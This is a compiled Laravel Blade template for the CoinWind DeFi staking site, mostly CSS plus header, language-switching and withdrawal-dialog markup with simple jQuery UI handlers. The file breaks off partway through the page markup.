coinwind/storage/framework/views/2a1a5798769a31d53ce6ecf59a2...

2021 lines
73 KiB
PHP
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<html lang="en" class="en">
<head>
<meta charset="utf-8" />
<link rel="icon" href="/favicon.ico" />
<meta name="viewport" content="width=device-width,maximum-scale=3,minimum-scale=1,initial-scale=1,user-scalable=no" />
<meta name="theme-color" content="#000000" />
<meta name="description" content="CoinWind-DeFi生态单币挖矿收益最优平台" />
<link rel="apple-touch-icon" href="/logo192.png" />
<link rel="manifest" href="/manifest.json" />
<link rel="stylesheet" href="/custom.css" />
<title>CoinWind</title>
<script>try{new URLSearchParams(window.location.search).get("target")}catch(a){}</script>
<link href="/static/css/2.fe62fa80.chunk.css" rel="stylesheet" />
<link href="/static/css/main.80c6e4a5.chunk.css" rel="stylesheet" />
<style data-jss="" data-meta="MuiSvgIcon">
.MuiSvgIcon-root {
fill: currentColor;
width: 1em;
height: 1em;
display: inline-block;
font-size: 1.5rem;
transition: fill 200ms cubic-bezier(0.4, 0, 0.2, 1) 0ms;
flex-shrink: 0;
user-select: none;
}
.MuiSvgIcon-colorPrimary {
color: #3f51b5;
}
.MuiSvgIcon-colorSecondary {
color: #f50057;
}
.MuiSvgIcon-colorAction {
color: rgba(0, 0, 0, 0.54);
}
.MuiSvgIcon-colorError {
color: #f44336;
}
.MuiSvgIcon-colorDisabled {
color: rgba(0, 0, 0, 0.26);
}
.MuiSvgIcon-fontSizeInherit {
font-size: inherit;
}
.MuiSvgIcon-fontSizeSmall {
font-size: 1.25rem;
}
.MuiSvgIcon-fontSizeLarge {
font-size: 2.1875rem;
}
</style>
<style data-jss="" data-meta="PrivateHiddenCss">
@media (min-width:0px) and (max-width:599.95px) {
.jss29 {
display: none;
}
}
@media (min-width:0px) {
.jss30 {
display: none;
}
}
@media (max-width:599.95px) {
.jss31 {
display: none;
}
}
@media (min-width:600px) and (max-width:959.95px) {
.jss32 {
display: none;
}
}
@media (min-width:600px) {
.jss33 {
display: none;
}
}
@media (max-width:959.95px) {
.jss34 {
display: none;
}
}
@media (min-width:960px) and (max-width:1279.95px) {
.jss35 {
display: none;
}
}
@media (min-width:960px) {
.jss36 {
display: none;
}
}
@media (max-width:1279.95px) {
.jss37 {
display: none;
}
}
@media (min-width:1280px) and (max-width:1919.95px) {
.jss38 {
display: none;
}
}
@media (min-width:1280px) {
.jss39 {
display: none;
}
}
@media (max-width:1919.95px) {
.jss40 {
display: none;
}
}
@media (min-width:1920px) {
.jss41 {
display: none;
}
}
@media (min-width:1920px) {
.jss42 {
display: none;
}
}
@media (min-width:0px) {
.jss43 {
display: none;
}
}
</style>
<style data-jss="" data-meta="makeStyles">
.jss1 {
width: 100%;
height: 80px;
position: relative;
background: rgba(255,255,255,0.60);
border-top: 1px solid #FFFFFF;
box-shadow: 0 4px 16px 0 #F6F6F6;
border-bottom: 1px solid #FFFFFF;
}
@media (max-width:959.95px) {
.jss1 {
height: 48px;
}
}
.jss2 {
height: 80px;
margin: 0 auto;
display: flex;
padding: 0 10px;
max-width: 1200px;
box-sizing: border-box;
align-items: center;
justify-content: space-between;
}
@media (max-width:959.95px) {
.jss2 {
width: 100%;
height: 48px;
padding: 0 16px;
}
}
.jss3 {
top: 18px;
left: 38px;
width: 165px;
height: 44px;
display: block;
position: absolute;
background: url(/static/media/logo.c3d2c062.svg) no-repeat center center;
background-size: contain;
}
.jss4 {
top: 18px;
left: 38px;
width: 165px;
height: 44px;
display: block;
position: absolute;
}
.jss4 img {
width: 100%;
height: 100%;
}
@media (max-width:959.95px) {
.jss4 {
width: 120px;
height: 32px;
position: unset;
}
.jss4 img {
width: 100%;
height: 100%;
}
}
.jss5 {
color: #8391A8;
height: 100%;
font-size: 14px;
font-weight: 500;
line-height: 80px;
}
@media (max-width:959.95px) {
.jss5 {
height: 32px;
line-height: unset;
}
}
.jss6 {
color: #8391A8;
display: flex;
font-size: 14px;
font-weight: 500;
}
.jss6 p {
overflow: hidden;
max-width: 400px;
white-space: nowrap;
text-overflow: ellipsis;
}
.jss6 img {
margin-right: 5px;
}
.jss7 {
color: #FFA34F;
cursor: pointer;
font-size: 12px;
font-weight: 400;
margin-left: 8px;
text-decoration: underline;
}
.jss8 {
display: flex;
align-items: center;
}
.jss9 {
color: #555;
width: 100%;
border: 0;
display: flex;
padding: 0.625rem 0;
position: relative;
flex-flow: row nowrap;
box-shadow: 0 4px 18px 0px rgba(0, 0, 0, 0.12), 0 7px 10px -5px rgba(0, 0, 0, 0.15);
transition: all 150ms ease 0s;
align-items: center;
border-radius: 3px;
margin-bottom: 20px;
justify-content: flex-start;
background-color: #FFF;
}
.jss10 {
top: auto;
position: absolute;
}
.jss11 {
position: fixed;
}
.jss12 {
width: 100%;
display: flex;
flex-wrap: nowrap;
min-height: 50px;
align-items: center;
margin-left: auto;
margin-right: auto;
padding-left: 15px;
padding-right: 15px;
justify-content: space-between;
}
@media (min-width: 576px) {
.jss12 {
max-width: 540px;
}
}
@media (min-width: 768px) {
.jss12 {
max-width: 720px;
}
}
@media (min-width: 992px) {
.jss12 {
max-width: 960px;
}
}
@media (min-width: 1230px) {
.jss12 {
max-width: 1230px;
}
}
.jss13 {
letter-spacing: unset;
}
.jss13, .jss13 a {
color: inherit;
font-size: 24px;
min-width: unset;
font-family: "Roboto", "Helvetica", "Arial", sans-serif, DINPro-Bold;
font-weight: 700;
line-height: 30px;
white-space: nowrap;
border-radius: 3px;
text-transform: none;
}
.jss13 a {
margin-left: 8px;
}
.jss13:hover, .jss13:focus, .jss13 a:hover, .jss13 a:focus {
color: inherit;
background: transparent;
}
.jss14 {
margin: 20px 10px;
margin-top: 0px;
}
.jss15 {
color: #FFF;
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 12px -5px rgba(255, 163, 79, 0.46);
background-color: #FFA34F;
}
.jss16 {
color: #FFF;
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 12px -5px rgba(0, 172, 193, 0.46);
background-color: #00acc1;
}
.jss17 {
color: #FFF;
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 12px -5px rgba(76, 175, 80, 0.46);
background-color: #4caf50;
}
.jss18 {
color: #FFF;
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 12px -5px rgba(255, 152, 0, 0.46);
background-color: #ff9800;
}
.jss19 {
color: #FFF;
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 12px -5px rgba(244, 67, 54, 0.46);
background-color: #f44336;
}
.jss20 {
color: #FFF;
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 12px -5px rgba(233, 30, 99, 0.46);
background-color: #e91e63;
}
.jss21 {
color: #FFF;
box-shadow: none;
padding-top: 25px;
background-color: transparent !important;
}
.jss22 {
color: #FFF;
box-shadow: 0px 8px 12px 0px rgba(0, 0, 0, 0.06);
background-color: #323951;
}
.jss23 {
color: #555;
border: 0;
padding: 0.625rem 0;
box-shadow: 0 4px 18px 0px rgba(0, 0, 0, 0.12), 0 7px 10px -5px rgba(0, 0, 0, 0.15);
margin-bottom: 20px;
background-color: #FFF !important;
}
.jss24 {
top: 0;
left: auto;
right: 0;
width: 260px;
border: none;
bottom: 0;
height: 100vh;
display: block;
position: fixed;
border-top: none;
box-shadow: 0 10px 30px -12px rgba(0, 0, 0, 0.42), 0 4px 25px 0px rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(0, 0, 0, 0.2);
overflow-y: visible;
text-align: left;
transition: all 0.33s cubic-bezier(0.685, 0.0473, 0.346, 1);
visibility: visible;
padding-left: 0;
padding-right: 0px;
background-color: #323951;
transition-duration: .2s, .2s, .35s;
transition-property: top, bottom, width;
transition-timing-function: linear, linear, ease;
}
.jss25 {
width: 100%;
}
.jss26 {
flex-grow: 1;
align-items: center;
-ms-flex-align: center;
-webkit-box-flex: 1;
-ms-flex-positive: 1;
-webkit-box-align: center;
}
@media (min-width:960px) {
.jss26 {
display: flex !important;
flex-basis: auto;
-ms-flex-preferred-size: auto;
}
}
.jss27 {
top: 9px;
color: white;
right: 8px;
z-index: 1;
position: absolute;
}
.jss28 {
width: 60xh;
display: flex;
overflow: visible;
justify-content: space-between;
}
</style>
<style data-jss="" data-meta="MuiTouchRipple">
.MuiTouchRipple-root {
top: 0;
left: 0;
right: 0;
bottom: 0;
z-index: 0;
overflow: hidden;
position: absolute;
border-radius: inherit;
pointer-events: none;
}
.MuiTouchRipple-ripple {
opacity: 0;
position: absolute;
}
.MuiTouchRipple-rippleVisible {
opacity: 0.3;
animation: MuiTouchRipple-keyframes-enter 550ms cubic-bezier(0.4, 0, 0.2, 1);
transform: scale(1);
}
.MuiTouchRipple-ripplePulsate {
animation-duration: 200ms;
}
.MuiTouchRipple-child {
width: 100%;
height: 100%;
display: block;
opacity: 1;
border-radius: 50%;
background-color: currentColor;
}
.MuiTouchRipple-childLeaving {
opacity: 0;
animation: MuiTouchRipple-keyframes-exit 550ms cubic-bezier(0.4, 0, 0.2, 1);
}
.MuiTouchRipple-childPulsate {
top: 0;
left: 0;
position: absolute;
animation: MuiTouchRipple-keyframes-pulsate 2500ms cubic-bezier(0.4, 0, 0.2, 1) 200ms infinite;
}
@-webkit-keyframes MuiTouchRipple-keyframes-enter {
0% {
opacity: 0.1;
transform: scale(0);
}
100% {
opacity: 0.3;
transform: scale(1);
}
}
@-webkit-keyframes MuiTouchRipple-keyframes-exit {
0% {
opacity: 1;
}
100% {
opacity: 0;
}
}
@-webkit-keyframes MuiTouchRipple-keyframes-pulsate {
0% {
transform: scale(1);
}
50% {
transform: scale(0.92);
}
100% {
transform: scale(1);
}
}
</style>
<style data-jss="" data-meta="MuiButtonBase">
.MuiButtonBase-root {
color: inherit;
border: 0;
cursor: pointer;
margin: 0;
display: inline-flex;
outline: 0;
padding: 0;
position: relative;
align-items: center;
user-select: none;
border-radius: 0;
vertical-align: middle;
-moz-appearance: none;
justify-content: center;
text-decoration: none;
background-color: transparent;
-webkit-appearance: none;
-webkit-tap-highlight-color: transparent;
}
.MuiButtonBase-root::-moz-focus-inner {
border-style: none;
}
.MuiButtonBase-root.Mui-disabled {
cursor: default;
pointer-events: none;
}
@media print {
.MuiButtonBase-root {
-webkit-print-color-adjust: exact;
}
}
</style>
<style data-jss="" data-meta="MuiIconButton">
.MuiIconButton-root {
flex: 0 0 auto;
color: rgba(0, 0, 0, 0.54);
padding: 12px;
overflow: visible;
font-size: 1.5rem;
text-align: center;
transition: background-color 150ms cubic-bezier(0.4, 0, 0.2, 1) 0ms;
border-radius: 50%;
}
.MuiIconButton-root:hover {
background-color: rgba(0, 0, 0, 0.04);
}
.MuiIconButton-root.Mui-disabled {
color: rgba(0, 0, 0, 0.26);
background-color: transparent;
}
@media (hover: none) {
.MuiIconButton-root:hover {
background-color: transparent;
}
}
.MuiIconButton-edgeStart {
margin-left: -12px;
}
.MuiIconButton-sizeSmall.MuiIconButton-edgeStart {
margin-left: -3px;
}
.MuiIconButton-edgeEnd {
margin-right: -12px;
}
.MuiIconButton-sizeSmall.MuiIconButton-edgeEnd {
margin-right: -3px;
}
.MuiIconButton-colorInherit {
color: inherit;
}
.MuiIconButton-colorPrimary {
color: #3f51b5;
}
.MuiIconButton-colorPrimary:hover {
background-color: rgba(63, 81, 181, 0.04);
}
@media (hover: none) {
.MuiIconButton-colorPrimary:hover {
background-color: transparent;
}
}
.MuiIconButton-colorSecondary {
color: #f50057;
}
.MuiIconButton-colorSecondary:hover {
background-color: rgba(245, 0, 87, 0.04);
}
@media (hover: none) {
.MuiIconButton-colorSecondary:hover {
background-color: transparent;
}
}
.MuiIconButton-sizeSmall {
padding: 3px;
font-size: 1.125rem;
}
.MuiIconButton-label {
width: 100%;
display: flex;
align-items: inherit;
justify-content: inherit;
}
</style>
<style data-jss="" data-meta="MuiButton">
.MuiButton-root {
color: rgba(0, 0, 0, 0.87);
padding: 6px 16px;
font-size: 0.875rem;
min-width: 64px;
box-sizing: border-box;
transition: background-color 250ms cubic-bezier(0.4, 0, 0.2, 1) 0ms,box-shadow 250ms cubic-bezier(0.4, 0, 0.2, 1) 0ms,border 250ms cubic-bezier(0.4, 0, 0.2, 1) 0ms;
font-family: "Roboto", "Helvetica", "Arial", sans-serif;
font-weight: 500;
line-height: 1.75;
border-radius: 4px;
letter-spacing: 0.02857em;
text-transform: uppercase;
}
.MuiButton-root:hover {
text-decoration: none;
background-color: rgba(0, 0, 0, 0.04);
}
.MuiButton-root.Mui-disabled {
color: rgba(0, 0, 0, 0.26);
}
@media (hover: none) {
.MuiButton-root:hover {
background-color: transparent;
}
}
.MuiButton-root:hover.Mui-disabled {
background-color: transparent;
}
.MuiButton-label {
width: 100%;
display: inherit;
align-items: inherit;
justify-content: inherit;
}
.MuiButton-text {
padding: 6px 8px;
}
.MuiButton-textPrimary {
color: #3f51b5;
}
.MuiButton-textPrimary:hover {
background-color: rgba(63, 81, 181, 0.04);
}
@media (hover: none) {
.MuiButton-textPrimary:hover {
background-color: transparent;
}
}
.MuiButton-textSecondary {
color: #f50057;
}
.MuiButton-textSecondary:hover {
background-color: rgba(245, 0, 87, 0.04);
}
@media (hover: none) {
.MuiButton-textSecondary:hover {
background-color: transparent;
}
}
.MuiButton-outlined {
border: 1px solid rgba(0, 0, 0, 0.23);
padding: 5px 15px;
}
.MuiButton-outlined.Mui-disabled {
border: 1px solid rgba(0, 0, 0, 0.12);
}
.MuiButton-outlinedPrimary {
color: #3f51b5;
border: 1px solid rgba(63, 81, 181, 0.5);
}
.MuiButton-outlinedPrimary:hover {
border: 1px solid #3f51b5;
background-color: rgba(63, 81, 181, 0.04);
}
@media (hover: none) {
.MuiButton-outlinedPrimary:hover {
background-color: transparent;
}
}
.MuiButton-outlinedSecondary {
color: #f50057;
border: 1px solid rgba(245, 0, 87, 0.5);
}
.MuiButton-outlinedSecondary:hover {
border: 1px solid #f50057;
background-color: rgba(245, 0, 87, 0.04);
}
.MuiButton-outlinedSecondary.Mui-disabled {
border: 1px solid rgba(0, 0, 0, 0.26);
}
@media (hover: none) {
.MuiButton-outlinedSecondary:hover {
background-color: transparent;
}
}
.MuiButton-contained {
color: rgba(0, 0, 0, 0.87);
box-shadow: 0px 3px 1px -2px rgba(0,0,0,0.2),0px 2px 2px 0px rgba(0,0,0,0.14),0px 1px 5px 0px rgba(0,0,0,0.12);
background-color: #e0e0e0;
}
.MuiButton-contained:hover {
box-shadow: 0px 2px 4px -1px rgba(0,0,0,0.2),0px 4px 5px 0px rgba(0,0,0,0.14),0px 1px 10px 0px rgba(0,0,0,0.12);
background-color: #d5d5d5;
}
.MuiButton-contained.Mui-focusVisible {
box-shadow: 0px 3px 5px -1px rgba(0,0,0,0.2),0px 6px 10px 0px rgba(0,0,0,0.14),0px 1px 18px 0px rgba(0,0,0,0.12);
}
.MuiButton-contained:active {
box-shadow: 0px 5px 5px -3px rgba(0,0,0,0.2),0px 8px 10px 1px rgba(0,0,0,0.14),0px 3px 14px 2px rgba(0,0,0,0.12);
}
.MuiButton-contained.Mui-disabled {
color: rgba(0, 0, 0, 0.26);
box-shadow: none;
background-color: rgba(0, 0, 0, 0.12);
}
@media (hover: none) {
.MuiButton-contained:hover {
box-shadow: 0px 3px 1px -2px rgba(0,0,0,0.2),0px 2px 2px 0px rgba(0,0,0,0.14),0px 1px 5px 0px rgba(0,0,0,0.12);
background-color: #e0e0e0;
}
}
.MuiButton-contained:hover.Mui-disabled {
background-color: rgba(0, 0, 0, 0.12);
}
.MuiButton-containedPrimary {
color: #fff;
background-color: #3f51b5;
}
.MuiButton-containedPrimary:hover {
background-color: #303f9f;
}
@media (hover: none) {
.MuiButton-containedPrimary:hover {
background-color: #3f51b5;
}
}
.MuiButton-containedSecondary {
color: #fff;
background-color: #f50057;
}
.MuiButton-containedSecondary:hover {
background-color: #c51162;
}
@media (hover: none) {
.MuiButton-containedSecondary:hover {
background-color: #f50057;
}
}
.MuiButton-disableElevation {
box-shadow: none;
}
.MuiButton-disableElevation:hover {
box-shadow: none;
}
.MuiButton-disableElevation.Mui-focusVisible {
box-shadow: none;
}
.MuiButton-disableElevation:active {
box-shadow: none;
}
.MuiButton-disableElevation.Mui-disabled {
box-shadow: none;
}
.MuiButton-colorInherit {
color: inherit;
border-color: currentColor;
}
.MuiButton-textSizeSmall {
padding: 4px 5px;
font-size: 0.8125rem;
}
.MuiButton-textSizeLarge {
padding: 8px 11px;
font-size: 0.9375rem;
}
.MuiButton-outlinedSizeSmall {
padding: 3px 9px;
font-size: 0.8125rem;
}
.MuiButton-outlinedSizeLarge {
padding: 7px 21px;
font-size: 0.9375rem;
}
.MuiButton-containedSizeSmall {
padding: 4px 10px;
font-size: 0.8125rem;
}
.MuiButton-containedSizeLarge {
padding: 8px 22px;
font-size: 0.9375rem;
}
.MuiButton-fullWidth {
width: 100%;
}
.MuiButton-startIcon {
display: inherit;
margin-left: -4px;
margin-right: 8px;
}
.MuiButton-startIcon.MuiButton-iconSizeSmall {
margin-left: -2px;
}
.MuiButton-endIcon {
display: inherit;
margin-left: 8px;
margin-right: -4px;
}
.MuiButton-endIcon.MuiButton-iconSizeSmall {
margin-right: -2px;
}
.MuiButton-iconSizeSmall > *:first-child {
font-size: 18px;
}
.MuiButton-iconSizeMedium > *:first-child {
font-size: 20px;
}
.MuiButton-iconSizeLarge > *:first-child {
font-size: 22px;
}
</style>
<style data-jss="" data-meta="makeStyles">
</style>
<style data-jss="" data-meta="makeStyles">
.jss47 {
display: none !important;
pointer-events: none;
}
.jss48 {
top: 10px!important;
}
@media (max-width:959.95px) {
.jss48 {
top: unset !important;
left: unset !important;
position: static !important;
transform: none !important;
will-change: none !important;
}
.jss48 > div {
padding: 0px !important;
box-shadow: none !important;
margin-top: 0px !important;
transition: none !important;
margin-left: 1.5rem;
margin-right: 1.5rem;
margin-bottom: 5px !important;
}
}
.jss49 {
display: block;
}
.jss49 > div > button, .jss49 > div > a {
color: inherit !important;
margin: 0px !important;
padding: 10px 20px !important;
}
.jss49 > div > button > span:first-child, .jss49 > div > a > span:first-child {
width: 100%;
justify-content: flex-start;
}
.jss50 > button:first-child > span:first-child, .jss50 > a:first-child > span:first-child {
display: inline-block;
}
.jss50 .jss67 {
margin-left: 0px;
}
.jss51 {
overflow: hidden;
box-shadow: 0 4px 12px 0 #EDEFF2;
border-radius: 16px;
}
.jss52 {
background-color: #323951;
}
.jss53 {
color: #fff !important;
}
.jss54 {
padding: 0;
}
.jss55 {
z-index: 1200;
}
@media (max-width:959.95px) {
.jss55 {
color: black;
float: none;
width: auto;
border: 0;
z-index: 1640;
position: static;
box-shadow: none;
margin-top: 0;
background-color: transparent;
}
}
.jss56 {
color: #131D32;
width: 198px;
height: 60px;
font-size: 16px;
background: transparent;
transition: all 150ms linear;
font-family: DINPro-Bold;
font-weight: 700;
line-height: 60px;
border-bottom: 1px solid #EDEFF2;
letter-spacing: 0;
justify-content: center;
}
.jss56:last-of-type {
border-bottom: none;
}
.jss57:hover {
color: #FFF;
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 10px -5px rgba(33, 33, 33, 0.4);
background-color: #272E42;
}
.jss58:hover {
color: #FFA34F;
background-color: rgba(255,163,79,.06);
}
.jss59:hover {
color: #FFF;
box-shadow: 0 12px 20px -10px rgba(0, 172, 193, 0.28), 0 4px 20px 0px rgba(0, 0, 0, 0.12), 0 7px 8px -5px rgba(0, 172, 193, 0.2);
background-color: #00acc1;
}
.jss60:hover {
color: #FFF;
box-shadow: 0 12px 20px -10px rgba(76, 175, 80, 0.28), 0 4px 20px 0px rgba(0, 0, 0, 0.12), 0 7px 8px -5px rgba(76, 175, 80, 0.2);
background-color: #4caf50;
}
.jss61:hover {
color: #FFF;
box-shadow: 0 12px 20px -10px rgba(255, 152, 0, 0.28), 0 4px 20px 0px rgba(0, 0, 0, 0.12), 0 7px 8px -5px rgba(255, 152, 0, 0.2);
background-color: #ff9800;
}
.jss62:hover {
color: #FFF;
box-shadow: 0 12px 20px -10px rgba(244, 67, 54, 0.28), 0 4px 20px 0px rgba(0, 0, 0, 0.12), 0 7px 8px -5px rgba(244, 67, 54, 0.2);
background-color: #f44336;
}
.jss63:hover {
color: #FFF;
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 10px -5px rgba(233, 30, 99, 0.4);
background-color: #e91e63;
}
.jss64 {
text-align: right;
}
.jss65 {
height: 1px;
margin: 5px 0;
overflow: hidden;
background-color: rgba(0, 0, 0, 0.12);
}
.jss66 {
color: white;
width: 20px;
height: 20px;
}
.jss67 {
color: #FFA34F;
width: 0;
height: 0;
display: inline-block;
border-top: 4px solid;
transition: all 150ms ease-in;
border-left: 4px solid transparent;
margin-left: 4px;
border-right: 4px solid transparent;
vertical-align: middle;
}
.jss68 {
color: #FFF;
transform: rotate(180deg);
}
.jss69 {
color: #FFF;
transform: rotate(180deg);
}
.jss70 {
margin-right: 4px;
}
.jss71 {
color: #777;
display: block;
padding: 0.1875rem 1.25rem;
font-size: 0.75rem;
margin-top: 10px;
min-height: 24px;
font-weight: inherit;
line-height: 1.428571;
white-space: nowrap;
}
.jss71:hover, .jss71:focus {
cursor: auto;
background-color: transparent;
}
.jss72 {
padding: 0;
}
</style>
<style data-jss="" data-meta="makeStyles">
.jss45 {
color: #FFA34F;
border: 1px solid #FFA34F;
cursor: pointer;
height: 36px;
padding: 0 40px;
font-size: 14px;
background: #FFFFFF;
border-radius: 22px;
}
.jss45:hover, .jss45:focus {
color: #FFF;
background-color: #FFA34F;
}
.jss45:hover b, .jss45:focus b {
color: #FFF;
}
.jss45 .MuiButton-label {
font-size: 14px;
font-family: DINPro-Bold;
}
@media (max-width:959.95px) {
.jss45 {
color: #FFA34F;
border: 1px solid #FFFFFF;
height: 32px;
padding: 0 22px;
font-size: 10px;
background: rgba(255,255,255,0.60);
box-shadow: 0 4px 16px 0 #F6F6F6;
border-radius: 16px;
}
}
</style>
<style data-jss="" data-meta="makeStyles">
.jss75 {
width: 240px;
height: 100%;
background-color: #FFF;
}
.jss76 {
padding-top: 40px;
}
.jss77 {
width: 100%;
}
.jss78 {
width: 100%;
cursor: pointer;
height: 64px;
display: flex;
position: relative;
font-size: 14px;
box-sizing: border-box;
transition: all .5s;
align-items: center;
font-weight: 700;
padding-left: 33px;
background-color: #FFF;
}
.jss78:hover {
background-color: rgba(255,163,79,.06);
}
.jss78:hover a, .jss78:hover span {
color: #FFA34F;
}
.jss78 a, .jss78 span {
font-size: 14px;
}
.jss79 {
color: #FFA34F !important;
display: flex;
position: relative;
align-items: center;
font-weight: bold !important;
background-color: rgba(255,163,79,.06);
}
.jss79 span {
right: 0;
width: 4px;
height: 22px;
position: absolute;
background: #FFA34F;
border-radius: 2px;
}
.jss80 {
width: 20px;
height: 20px;
display: block;
margin-right: 8px;
}
.jss81 strong {
color: #fff;
right: 50px;
height: 20px;
padding: 0 10px;
position: absolute;
font-size: 12px;
background: linear-gradient(90deg, #FFA34F 0%, rgba(255,163,79,.6) 100%);
font-family: PingFangSC-Medium;;
font-weight: 400;
line-height: 20px;
border-radius: 9px 9px 9px 0;
}
.jss82 {
overflow: hidden;
max-height: 0;
transition: all linear .3s;
}
.jss83 {
color: #131D32;
cursor: pointer;
height: 48px;
overflow: hidden;
font-size: 14px;
box-sizing: border-box;
font-weight: 400;
line-height: 48px;
white-space: nowrap;
padding-left: 60px;
text-overflow: ellipsis;
}
.jss83:hover {
color: #FFA34F;
background-color: rgba(255,163,79,.06);
}
.jss84:hover span {
color: #FFA34F;
}
</style>
<style data-styled="active" data-styled-version="5.2.0"></style>
</head>
<body>
<section id="root">
<?php echo $__env->make('public/wallet', array_except(get_defined_vars(), array('__data', '__path')))->render(); ?>
<header>
<div class="jss1">
<div class="header__wrapper-box">
<div class="jss36">
<div class="jss2">
<div class="jss5">
<a href="/" class="jss4"><img src="upload/<?php echo e($config['other']['logo_url']); ?>" alt="" /></a>
</div>
<div class="jss8">
<div class="jss34">
<div class="header__button-container" style="display: flex;">
<div class="jss44">
<div>
<div class="">
<button class="MuiButtonBase-root MuiButton-root MuiButton-text jss73 jss45" tabindex="0" type="button" aria-label="Notifications" aria-haspopup="true"><span class="MuiButton-label">HECO<b class="jss67"></b></span><span class="MuiTouchRipple-root"></span></button>
</div>
</div>
</div>
<button class="MuiButtonBase-root MuiButton-root MuiButton-text jss73 jss45" tabindex="0" type="button" style="margin-left: 32px;"><span class="MuiButton-label" ></span><span class="MuiTouchRipple-root"></span></button>
</div>
</div>
<div class="jss36">
<button onclick="walletShow()" class="MuiButtonBase-root MuiButton-root MuiButton-text jss73 jss45" tabindex="0" type="button"><span class="MuiButton-label" id="network1"></span><span class="MuiTouchRipple-root"></span></button>
<button class="MuiButtonBase-root MuiIconButton-root MuiIconButton-colorInherit" tabindex="0" type="button" aria-label="open drawer"><span class="MuiIconButton-label">
<svg class="MuiSvgIcon-root" focusable="false" viewbox="0 0 24 24" aria-hidden="true">
<path d="M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z"></path>
</svg></span><span class="MuiTouchRipple-root"></span></button>
<div class="slider__mask " id="slider__mask" onclick="tabHide()">
<div class="slider__content " id="slider__content">
<div id="langs" class="nav__language-container">
<i class="language__icon"></i>
<div class="dropdown__button nav__language">
<span>English</span>
</div>
<div class="dropdown__option option__bottom" id="lang">
<div class="option__item option__item-heco" id="lang1">
中文
</div>
<div class="option__item option__item-heco" id="lang2">
English
</div>
</div>
<strong style="color: rgb(131, 145, 168); width: 0px; height: 0px; display: inline-block; border-top: 4px solid; transition: all 150ms ease-in 0s; border-left: 4px solid transparent; margin-left: 4px; border-right: 4px solid transparent; vertical-align: middle; position: absolute; right: 32px; top: 30px;"></strong>
</div>
<div class="nav__language-container" onclick="airdrop_open()">
<img src="/static/media/liwu.c773fe7d.svg" alt="" />
<span style="margin-left: 10px;">
<?php echo e(trans('web.Claim Your Airdrop')); ?>
</span>
</div>
<div class="nav__language-container" onclick="javascript:location.href = '/invite'">
<img src="/static/media/123a.png" alt="" style="width: 26px;height: 26px" />
<span style="margin-left: 10px;">
<?php echo e(trans('web.Invite rebate')); ?>
</span>
</div>
<div class="tutoril__container">
<a class="tutoril__item" href="https://docs.coinwind.com/v/english/announcement" target="_blank"><span><?php echo e(trans('web.Announcement')); ?></span><img src="/static/media/icon-more.c502d302.svg" alt="" /></a>
<a class="tutoril__item" href="https://docs.coinwind.com/v/english/faq" target="_blank"><span><?php echo e(trans('web.FAQ')); ?></span><img src="/static/media/icon-more.c502d302.svg" alt="" /></a>
<a class="tutoril__item" href="https://docs.coinwind.com/v/english/guide" target="_blank"><span><?php echo e(trans('web.Tutorial')); ?></span><img src="/static/media/icon-more.c502d302.svg" alt="" /></a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<script src="https://ajax.aspnetcdn.com/ajax/jquery/jquery-2.1.4.min.js"></script>
<script>
function tabShow() {
$('#slider__mask').attr('class', 'slider__mask slide__show')
$('#slider__content').attr('class', 'slider__content slide__content-show')
}
function tabHide() {
$('#slider__mask').attr('class', 'slider__mask')
$('#slider__content').attr('class', 'slider__content')
$('#lang').attr('class', 'dropdown__option option__bottom');
}
function walletHide() {
$('#home__dialog').attr('style','display: none')
}
function walletShow() {
$('#home__dialog').attr('style','')
}
window.onload = function() {
// 切换语言
$('#langs').on('click', function (e) {
$('#lang').attr('class', 'dropdown__option option__show option__bottom');
e.stopPropagation();
});
// 中文
$('#lang1').on('click', function (e) {
$.post(
"<?php echo e(url('lang')); ?>",
{
lang: 'zh-CN'
},
function(d){
if(d){
console.log(d);
location.reload(); //重新刷新页面
}
}
);
tabHide();
e.stopPropagation();
});
// 英文
$('#lang2').on('click', function (e) {
$.post(
"<?php echo e(url('lang')); ?>",
{
lang: 'en'
},
function(d){
if(d){
console.log(d);
location.reload(); //重新刷新页面
}
}
);
tabHide();
e.stopPropagation();
});
}
</script>
</header>
<main>
<div class="pools__dialog" id="lingqu" style="display: none">
<div class="staking_dialog_all-extract">
<div class="staking__dialog__headers" style="margin-bottom: 30px;">
<?php echo e(trans('web.Income')); ?>
<span class="staking__dialog__header__closes" onclick="lingqu_close()"></span>
</div>
<div class="staking_all-extract-content">
<div>
<div class="extract-title">
<?php echo e(trans('web.Currently Withdrawable')); ?>
</div>
<div class="extract-content_tops">
<div class="extract-content_lis">
<div id="usdt_1">
0.0000
</div>
<div>
USDT
</div>
</div>
<div class="extract-content_lis">
<div id="usdt_2">
0.0000
</div>
<div>
USDC
</div>
</div>
</div>
</div>
</div>
<div class="extract_btn">
<button class="g-button pools__dialog__option g-button-bsc-theme " onclick="pull()" id="pull"><?php echo e(trans('web.All extraction')); ?></button>
</div>
</div>
</div>
<div class="pools__dialog" style="display: none" id="yuming">
<div class="staking_dialog-strategy">
<div class="staking__dialog__header staking_color">
<?php echo e(trans('web.Strategy')); ?>
<span class="staking__dialog__header__close staking_close" onclick="yuming_close()"></span>
</div>
<div class="staking_strategy_name">
<div class="staking__dialog__name-li">
<img class="pools__coin-logo" alt="DOT" src="" id="s_img" />
<div class="staking__name_title staking__name_title-1" id="s_name"></div>
</div>
<div class="staking_strategy_name-li">
<div id="use1"></div>
<div>
<?php echo e(trans('web.Staked')); ?>
</div>
</div>
</div>
<div class="staking_ce_tip">
<?php echo e(trans("web.Note: The pledged amount of the node includes the pledged amount of CoinWind's entire network staking.")); ?>
</div>
<div class="staking_strategy_content">
<div class="staking_strategy_content-lis">
<div>
